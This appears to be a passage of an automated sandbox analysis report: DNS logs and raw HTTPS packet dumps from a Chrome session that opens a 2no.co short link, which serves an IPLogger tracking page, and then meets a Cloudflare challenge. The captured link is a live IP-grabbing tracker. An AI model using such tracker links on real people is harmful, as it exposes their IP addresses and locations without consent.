Jul 30, 2024 00:46:25.300046921 CEST	1.1.1.1	192.168.2.7	0x46a7	No error (0)	client-telemetry.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:25.300046921 CEST	1.1.1.1	192.168.2.7	0x46a7	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:25.300046921 CEST	1.1.1.1	192.168.2.7	0x46a7	No error (0)	edge-term4.roblox.com	edge-term4-ams2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:25.300046921 CEST	1.1.1.1	192.168.2.7	0x46a7	No error (0)	edge-term4-ams2.roblox.com		128.116.21.3	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:38.831028938 CEST	1.1.1.1	192.168.2.7	0xac89	No error (0)	client-telemetry.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:38.831028938 CEST	1.1.1.1	192.168.2.7	0xac89	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:38.831028938 CEST	1.1.1.1	192.168.2.7	0xac89	No error (0)	edge-term4.roblox.com	edge-term4-ams2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:38.831028938 CEST	1.1.1.1	192.168.2.7	0xac89	No error (0)	edge-term4-ams2.roblox.com		128.116.21.4	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:52.237746954 CEST	1.1.1.1	192.168.2.7	0xc8d2	No error (0)	client-telemetry.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:52.237746954 CEST	1.1.1.1	192.168.2.7	0xc8d2	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:52.237746954 CEST	1.1.1.1	192.168.2.7	0xc8d2	No error (0)	edge-term4.roblox.com	edge-term4-ams2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:52.237746954 CEST	1.1.1.1	192.168.2.7	0xc8d2	No error (0)	edge-term4-ams2.roblox.com		128.116.21.4	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:47:11.222673893 CEST	1.1.1.1	192.168.2.7	0x299f	No error (0)	client-telemetry.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:47:11.222673893 CEST	1.1.1.1	192.168.2.7	0x299f	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:47:11.222673893 CEST	1.1.1.1	192.168.2.7	0x299f	No error (0)	edge-term4.roblox.com	edge-term4-ams2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:47:11.222673893 CEST	1.1.1.1	192.168.2.7	0x299f	No error (0)	edge-term4-ams2.roblox.com		128.116.21.4	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:47:32.128716946 CEST	1.1.1.1	192.168.2.7	0xc5af	No error (0)	client-telemetry.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:47:32.128716946 CEST	1.1.1.1	192.168.2.7	0xc5af	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:47:32.128716946 CEST	1.1.1.1	192.168.2.7	0xc5af	No error (0)	edge-term4.roblox.com	edge-term4-ams2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:47:32.128716946 CEST	1.1.1.1	192.168.2.7	0xc5af	No error (0)	edge-term4-ams2.roblox.com		128.116.21.3	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:48:02.861970901 CEST	1.1.1.1	192.168.2.7	0x8db6	No error (0)	client-telemetry.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:48:02.861970901 CEST	1.1.1.1	192.168.2.7	0x8db6	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:48:02.861970901 CEST	1.1.1.1	192.168.2.7	0x8db6	No error (0)	edge-term4.roblox.com	edge-term4-ams2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:48:02.861970901 CEST	1.1.1.1	192.168.2.7	0x8db6	No error (0)	edge-term4-ams2.roblox.com		128.116.21.4	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

2no.co

https:

cdn.iplogger.org

counter.yadro.ru

a.nel.cloudflare.com

slscr.update.microsoft.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49712	172.67.149.76	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:19 UTC	655	OUT	GET /24RXx6 HTTP/1.1 Host: 2no.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-29 22:46:20 UTC	1092	IN	HTTP/1.1 200 OK Date: Mon, 29 Jul 2024 22:46:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: 54988964137263905=3; expires=Tue, 29 Jul 2025 22:46:19 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: unikey=unikey_49d0b0ee8333a2d8b518de4ac29b97bf7c2b5a039ac7ef754e17b18bdb866b9f; path=/; secure; HttpOnly; SameSite=Strict memory: 0.42243194580078125 expires: Mon, 29 Jul 2024 22:46:19 +0000 strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZixMdHDmVkG6JBeoFBCK%2FGLboVik9yJiI5mRegq6j2XBA3pOsQDKYbsHE8t8FzG%2FAHZa07X%2B6jsjBfJqjP2LCdwx1UgQ0HdqLogDAL4SiT8ryA1A3GqPBm8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ab0a4f4dd1e4401-EWR alt-svc: h3=":443"; ma=86400
2024-07-29 22:46:20 UTC	277	IN	Data Raw: 32 36 62 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 55 53 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 42 72 61 6e 64 65 64 20 53 68 6f 72 74 20 44 6f 6d 61 69 6e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e Data Ascii: 26b5<!DOCTYPE html><html lang="US" class="html"><head><title>Branded Short Domain</title><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" conten
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 44 65 6f 72 67 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 49 50 4c 6f 67 67 65 72 20 32 30 31 30 2d 32 30 32 34 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 69 74 2d 61 66 74 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 37 20 64 61 79 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: initial-scale=1, user-scalable=yes"><meta name="author" content="Deorg" /><meta name="copyright" content="Copyright IPLogger 2010-2024" /><meta name="robots" content="index, follow" /><meta name="revisit-after" content="7 days" /><meta name=
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 72 6f 75 6e 64 3a 23 45 35 45 35 45 35 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 2e 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 38 30 30 70 78 29 7b 62 6f 64 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 7d 7d 23 6c 6f 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 70 78 3b 6c 65 66 74 3a 30 70 78 3b 72 69 67 68 74 3a 30 70 78 3b 62 6f 74 74 6f 6d 3a 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 35 45 35 45 35 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a Data Ascii: round:#E5E5E5;font-family:Helvetica,Arial,sans-serif;letter-spacing:0.2px;font-size:1em}@media screen and (max-width:800px){body{font-size:1.2em}}#loader{position:absolute;top:0px;left:0px;right:0px;bottom:0px;background:#E5E5E5;z-index:10000;padding-top:
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 6f 63 61 74 69 6f 6e 20 74 6f 20 64 69 73 70 6c 61 79 20 74 68 65 20 6d 61 70 2e 2e 2e 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 32 35 30 70 78 3b 74 6f 70 3a 32 35 25 3b 6c 65 66 74 3a 63 61 6c 63 28 35 30 25 20 2d 20 31 32 35 70 78 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 63 6f 6c 6f 72 3a 23 38 31 38 31 38 31 7d 0a 09 23 6d 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 64 61 73 68 65 64 20 62 6c 61 63 6b 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 34 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 0a 09 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 29 7b 23 6d 61 70 70 65 72 7b 68 65 69 Data Ascii: ocation to display the map...";position:absolute;width:250px;top:25%;left:calc(50% - 125px);text-align:center;font-size:24px;color:#818181}#me{border:1px dashed black;height:40px;line-height:40px;text-align:center}@media (max-width: 800px){#mapper{hei
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 27 29 2c 78 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 41 63 63 65 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 2c 78 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 2c 78 2e 73 65 6e 64 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 64 61 74 61 29 29 2c 78 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 6a 73 6f 6e 29 7b 69 66 28 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 21 3d 34 29 72 65 74 75 72 6e 3b 74 72 79 7b 6a 73 6f 6e 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 74 68 69 73 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 29 7d 63 61 74 63 68 28 65 29 7b 6a 73 6f 6e 3d 7b 7d 7d 3b 63 61 6c 6c 62 61 63 6b 28 6a 73 Data Ascii: '),x.setRequestHeader("Accept","application/json"),x.setRequestHeader("Content-Type","application/json"),x.send(JSON.stringify(data)),x.onload=function(json){if(this.readyState!=4)return;try{json=JSON.parse(this.responseText)}catch(e){json={}};callback(js
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 32 38 70 78 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 0a 09 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 63 6f 6e 74 65 6e 74 20 7b 0d 09 70 61 64 64 69 6e 67 3a 20 35 70 78 20 30 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 30 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 31 70 78 3b 0a 09 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 0a 7d 0a 2e 68 61 6e 64 73 68 61 6b 65 20 7b 0a 7d 0a 2e 68 61 6e 64 73 68 61 6b 65 20 3e 20 69 6d 67 20 7b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b Data Ascii: nt-size:28px;font-style:normal;font-weight:bold;color:#333333;text-align: center;}.content {padding: 5px 0px;margin:0;line-height:21px;color:#333333;font-size:14px;text-align:justify}.handshake {}.handshake > img {display:block
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 20 36 30 30 70 78 29 2c 0a 0a 7d 0a 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 20 7b 0d 09 70 2c 20 75 6c 20 6c 69 2c 20 6f 6c 20 6c 69 2c 20 61 20 7b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 25 21 69 6d 70 6f 72 74 61 6e 74 20 7d 0a 09 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 31 20 61 2c 20 68 32 20 61 2c 20 68 33 20 61 20 7b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 30 25 20 7d 0a 09 68 31 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 34 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 20 7d 0a 09 68 32 20 7b 20 66 6f 6e 74 Data Ascii: @media only screen and (max-height: 600px),}@media only screen and (max-width:600px) {p, ul li, ol li, a { line-height:150%!important }h1, h2, h3, h1 a, h2 a, h3 a { line-height:120% }h1 { font-size:42px!important; text-align:center }h2 { font
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 61 73 73 3d 22 73 75 62 6d 69 74 22 3e 0a 09 09 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 3e 0a 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6b 65 79 22 20 76 61 6c 75 65 3d 22 75 6e 69 6b 65 79 5f 34 39 64 30 62 30 65 65 38 33 33 33 61 32 64 38 62 35 31 38 64 65 34 61 63 32 39 62 39 37 62 66 37 63 32 62 35 61 30 33 39 61 63 37 65 66 37 35 34 65 31 37 62 31 38 62 64 62 38 36 36 62 39 66 22 3e 0a 09 09 09 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 6f 6b 22 20 6e 61 6d 65 3d 22 63 6f 6e 73 65 6e 74 22 20 76 61 6c 75 65 3d 22 31 22 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 41 67 72 65 65 20 26 20 43 6f 6e 74 69 6e 75 65 3c 2f 62 75 74 74 6f 6e 3e 0a 0a 09 09 09 3c Data Ascii: ass="submit"><form action="" method="POST"><input type="hidden" name="key" value="unikey_49d0b0ee8333a2d8b518de4ac29b97bf7c2b5a039ac7ef754e17b18bdb866b9f"><button class="ok" name="consent" value="1" type="submit">Agree & Continue</button><
2024-07-29 22:46:20 UTC	57	IN	Data Raw: 27 3b 27 29 2c 64 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: ';'),d.body.appendChild(a);</script></body></html>
2024-07-29 22:46:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49719	172.67.132.113	443	7740	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:20 UTC	588	OUT	GET /redirect/handshake.png HTTP/1.1 Host: cdn.iplogger.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://2no.co/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-29 22:46:20 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Mon, 29 Jul 2024 22:46:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-07-29 22:46:20 UTC	691	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 4b 37 42 37 31 43 63 6b 79 6a 4a 33 63 4d 56 4a 71 61 64 34 46 53 52 50 77 62 4b 64 4b 63 2f 68 4f 77 73 4c 6e 35 59 79 43 7a 4b 42 76 50 75 61 69 6c 68 37 50 63 47 75 42 4d 4e 38 5a 77 66 56 51 41 47 73 70 41 47 70 69 4c 44 64 63 4a 44 61 4e 68 72 4d 72 33 71 50 61 49 2b 53 36 71 37 6a 6e 35 50 43 2b 50 74 45 5a 44 45 3d 24 2f 58 4d 2b 70 6d 63 52 62 6a 6d 38 43 6b 44 76 59 68 64 70 72 77 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 Data Ascii: cf-chl-out: K7B71CckyjJ3cMVJqad4FSRPwbKdKc/hOwsLn5YyCzKBvPuailh7PcGuBMN8ZwfVQAGspAGpiLDdcJDaNhrMr3qPaI+S6q7jn5PC+PtEZDE=$/XM+pmcRbjm8CkDvYhdprw==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires:
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 33 65 66 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 3efc<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 30 78 4c 6a 51 77 4e 58 6f 69 4c 7a 34 38 4c 33 4e 32 5a 7a 34 3d 29 7d 62 6f 64 79 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 2b 50 48 42 68 64 47 67 67 5a 6d 6c 73 62 44 30 69 49 30 49 79 4d 45 59 77 4d 79 49 67 5a 44 30 69 54 54 45 32 49 44 4e 68 4d 54 4d 67 4d 54 4d 67 4d 43 41 78 49 44 41 67 4d Data Ascii: 0xLjQwNXoiLz48L3N2Zz4=)}body #challenge-error-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSI+PHBhdGggZmlsbD0iI0IyMEYwMyIgZD0iTTE2IDNhMTMgMTMgMCAxIDAgM
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 74 4d 54 41 75 4f 54 55 31 49 44 45 32 4c 6a 41 31 4e 53 30 7a 4c 6a 6b 31 4c 54 51 75 4d 54 49 31 4c 54 45 75 4e 44 51 31 49 44 45 75 4d 7a 67 31 49 44 55 75 4d 7a 63 67 4e 53 34 32 4d 53 41 35 4c 6a 51 35 4e 53 30 35 4c 6a 59 74 4d 53 34 30 4d 69 30 78 4c 6a 51 77 4e 58 6f 69 4c 7a 34 38 4c 33 4e 32 5a 7a 34 3d 29 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: DEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJtMTAuOTU1IDE2LjA1NS0zLjk1LTQuMTI1LTEuNDQ1IDEuMzg1IDUuMzcgNS42MSA5LjQ5NS05LjYtMS40Mi0xLjQwNXoiLz48L3N2Zz4=)}body.dark #challenge-error-text{background
2024-07-29 22:46:20 UTC	1369	IN	Data Raw: 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 4d 7a 45 7a 4d 54 4d 78 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 4d 7a 45 7a 4d 54 4d 78 49 69 42 6b 50 53 4a 74 4d 54 41 75 4f 54 55 31 49 44 45 32 4c 6a 41 31 4e 53 30 7a 4c 6a 6b 31 4c 54 51 75 4d 54 49 31 4c 54 45 75 4e 44 51 31 49 44 45 75 4d 7a 67 31 49 44 55 75 4d 7a 63 67 4e 53 34 32 4d 53 41 Data Ascii: 